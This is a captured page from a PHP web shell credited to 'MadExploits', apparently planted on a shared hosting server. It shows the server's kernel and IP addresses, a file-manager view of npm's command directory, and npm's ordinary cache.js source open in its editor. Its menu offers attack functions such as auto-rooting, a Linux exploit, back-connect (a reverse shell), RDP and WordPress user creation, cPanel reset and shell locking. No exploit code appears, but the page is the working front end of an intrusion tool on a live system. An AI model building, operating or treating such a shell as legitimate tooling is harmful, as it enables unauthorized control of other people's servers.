Linux business72.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
LiteSpeed
: 162.0.229.97 | : 3.137.210.16
Cant Read [ /etc/named.conf ]
8.1.30
temmmp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
alt /
alt-nodejs16 /
root /
usr /
lib /
node_modules /
npm /
lib /
commands /
[ HOME SHELL ]
Name
Size
Permission
Action
access.js
5.45
KB
-rw-r--r--
adduser.js
2.2
KB
-rw-r--r--
audit.js
11.95
KB
-rw-r--r--
bin.js
729
B
-rw-r--r--
birthday.js
508
B
-rw-r--r--
bugs.js
815
B
-rw-r--r--
cache.js
7.08
KB
-rw-r--r--
ci.js
3.63
KB
-rw-r--r--
completion.js
8.91
KB
-rw-r--r--
config.js
8.11
KB
-rw-r--r--
dedupe.js
1.37
KB
-rw-r--r--
deprecate.js
2.06
KB
-rw-r--r--
diff.js
8.1
KB
-rw-r--r--
dist-tag.js
5.47
KB
-rw-r--r--
docs.js
447
B
-rw-r--r--
doctor.js
9.22
KB
-rw-r--r--
edit.js
2
KB
-rw-r--r--
exec.js
2.44
KB
-rw-r--r--
explain.js
3.55
KB
-rw-r--r--
explore.js
2.33
KB
-rw-r--r--
find-dupes.js
602
B
-rw-r--r--
fund.js
6.37
KB
-rw-r--r--
get.js
524
B
-rw-r--r--
help-search.js
5.62
KB
-rw-r--r--
help.js
4.53
KB
-rw-r--r--
hook.js
3.93
KB
-rw-r--r--
init.js
6.81
KB
-rw-r--r--
install-ci-test.js
377
B
-rw-r--r--
install-test.js
374
B
-rw-r--r--
install.js
5.11
KB
-rw-r--r--
link.js
5.02
KB
-rw-r--r--
ll.js
234
B
-rw-r--r--
logout.js
1.34
KB
-rw-r--r--
ls.js
16.94
KB
-rw-r--r--
org.js
4.2
KB
-rw-r--r--
outdated.js
8.84
KB
-rw-r--r--
owner.js
5.88
KB
-rw-r--r--
pack.js
2.36
KB
-rw-r--r--
ping.js
874
B
-rw-r--r--
pkg.js
3.47
KB
-rw-r--r--
prefix.js
343
B
-rw-r--r--
profile.js
11.25
KB
-rw-r--r--
prune.js
779
B
-rw-r--r--
publish.js
6.33
KB
-rw-r--r--
query.js
2.81
KB
-rw-r--r--
rebuild.js
2.16
KB
-rw-r--r--
repo.js
1.24
KB
-rw-r--r--
restart.js
351
B
-rw-r--r--
root.js
298
B
-rw-r--r--
run-script.js
6.9
KB
-rw-r--r--
search.js
2.72
KB
-rw-r--r--
set-script.js
2.63
KB
-rw-r--r--
set.js
572
B
-rw-r--r--
shrinkwrap.js
2.64
KB
-rw-r--r--
star.js
1.87
KB
-rw-r--r--
stars.js
1.03
KB
-rw-r--r--
start.js
341
B
-rw-r--r--
stop.js
336
B
-rw-r--r--
team.js
4.44
KB
-rw-r--r--
test.js
336
B
-rw-r--r--
token.js
6.79
KB
-rw-r--r--
uninstall.js
1.52
KB
-rw-r--r--
unpublish.js
4.51
KB
-rw-r--r--
unstar.js
182
B
-rw-r--r--
update.js
1.7
KB
-rw-r--r--
version.js
3.6
KB
-rw-r--r--
view.js
14.38
KB
-rw-r--r--
whoami.js
514
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cache.js
const cacache = require('cacache') const { promisify } = require('util') const pacote = require('pacote') const path = require('path') const rimraf = promisify(require('rimraf')) const semver = require('semver') const BaseCommand = require('../base-command.js') const npa = require('npm-package-arg') const jsonParse = require('json-parse-even-better-errors') const localeCompare = require('@isaacs/string-locale-compare')('en') const log = require('../utils/log-shim') const searchCachePackage = async (path, parsed, cacheKeys) => { /* eslint-disable-next-line max-len */ const searchMFH = new RegExp(`^make-fetch-happen:request-cache:.*(?<!/[@a-zA-Z]+)/${parsed.name}/-/(${parsed.name}[^/]+.tgz)$`) const searchPack = new RegExp(`^make-fetch-happen:request-cache:.*/${parsed.escapedName}$`) const results = new Set() cacheKeys = new Set(cacheKeys) for (const key of cacheKeys) { // match on the public key registry url format if (searchMFH.test(key)) { // extract the version from the filename const filename = key.match(searchMFH)[1] const noExt = filename.slice(0, -4) const noScope = `${parsed.name.split('/').pop()}-` const ver = noExt.slice(noScope.length) if (semver.satisfies(ver, parsed.rawSpec)) { results.add(key) } continue } // is this key a packument? if (!searchPack.test(key)) { continue } results.add(key) let packument, details try { details = await cacache.get(path, key) packument = jsonParse(details.data) } catch (_) { // if we couldn't parse the packument, abort continue } if (!packument.versions || typeof packument.versions !== 'object') { continue } // assuming this is a packument for (const ver of Object.keys(packument.versions)) { if (semver.satisfies(ver, parsed.rawSpec)) { if (packument.versions[ver].dist && typeof packument.versions[ver].dist === 'object' && packument.versions[ver].dist.tarball !== undefined && cacheKeys.has(`make-fetch-happen:request-cache:${packument.versions[ver].dist.tarball}`) ) { results.add(`make-fetch-happen:request-cache:${packument.versions[ver].dist.tarball}`) } } } } return results } class Cache extends BaseCommand { static description = 'Manipulates packages cache' static name = 'cache' static params = ['cache'] static usage = [ 'add <package-spec>', 'clean [<key>]', 'ls [<name>@<version>]', 'verify', ] static ignoreImplicitWorkspace = true async completion (opts) { const argv = opts.conf.argv.remain if (argv.length === 2) { return ['add', 'clean', 'verify', 'ls', 'delete'] } // TODO - eventually... switch (argv[2]) { case 'verify': case 'clean': case 'add': case 'ls': case 'delete': return [] } } async exec (args) { const cmd = args.shift() switch (cmd) { case 'rm': case 'clear': case 'clean': return await this.clean(args) case 'add': return await this.add(args) case 'verify': case 'check': return await this.verify() case 'ls': return await this.ls(args) default: throw this.usageError() } } // npm cache clean [pkg]* async clean (args) { const cachePath = path.join(this.npm.cache, '_cacache') if (args.length === 0) { if (!this.npm.config.get('force')) { throw new Error(`As of npm@5, the npm cache self-heals from corruption issues by treating integrity mismatches as cache misses. As a result, data extracted from the cache is guaranteed to be valid. If you want to make sure everything is consistent, use \`npm cache verify\` instead. Deleting the cache can only make npm go slower, and is not likely to correct any problems you may be encountering! On the other hand, if you're debugging an issue with the installer, or race conditions that depend on the timing of writing to an empty cache, you can use \`npm install --cache /tmp/empty-cache\` to use a temporary cache instead of nuking the actual one. If you're sure you want to delete the entire cache, rerun this command with --force.`) } return rimraf(cachePath) } for (const key of args) { let entry try { entry = await cacache.get(cachePath, key) } catch (err) { log.warn(`Not Found: ${key}`) break } this.npm.output(`Deleted: ${key}`) await cacache.rm.entry(cachePath, key) // XXX this could leave other entries without content! await cacache.rm.content(cachePath, entry.integrity) } } // npm cache add <tarball-url>... // npm cache add <pkg> <ver>... // npm cache add <tarball>... // npm cache add <folder>... async add (args) { log.silly('cache add', 'args', args) if (args.length === 0) { throw this.usageError('First argument to `add` is required') } return Promise.all(args.map(spec => { log.silly('cache add', 'spec', spec) // we ask pacote for the thing, and then just throw the data // away so that it tee-pipes it into the cache like it does // for a normal request. return pacote.tarball.stream(spec, stream => { stream.resume() return stream.promise() }, this.npm.flatOptions) })) } async verify () { const cache = path.join(this.npm.cache, '_cacache') const prefix = cache.indexOf(process.env.HOME) === 0 ? `~${cache.slice(process.env.HOME.length)}` : cache const stats = await cacache.verify(cache) this.npm.output(`Cache verified and compressed (${prefix})`) this.npm.output(`Content verified: ${stats.verifiedContent} (${stats.keptSize} bytes)`) if (stats.badContentCount) { this.npm.output(`Corrupted content removed: ${stats.badContentCount}`) } if (stats.reclaimedCount) { /* eslint-disable-next-line max-len */ this.npm.output(`Content garbage-collected: ${stats.reclaimedCount} (${stats.reclaimedSize} bytes)`) } if (stats.missingContent) { this.npm.output(`Missing content: ${stats.missingContent}`) } this.npm.output(`Index entries: ${stats.totalEntries}`) this.npm.output(`Finished in ${stats.runTime.total / 1000}s`) } // npm cache ls [--package <spec> ...] async ls (specs) { const cachePath = path.join(this.npm.cache, '_cacache') const cacheKeys = Object.keys(await cacache.ls(cachePath)) if (specs.length > 0) { // get results for each package spec specified const results = new Set() for (const spec of specs) { const parsed = npa(spec) if (parsed.rawSpec !== '' && parsed.type === 'tag') { throw this.usageError('Cannot list cache keys for a tagged package.') } const keySet = await searchCachePackage(cachePath, parsed, cacheKeys) for (const key of keySet) { results.add(key) } } [...results].sort(localeCompare).forEach(key => this.npm.output(key)) return } cacheKeys.sort(localeCompare).forEach(key => this.npm.output(key)) } } module.exports = Cache
Close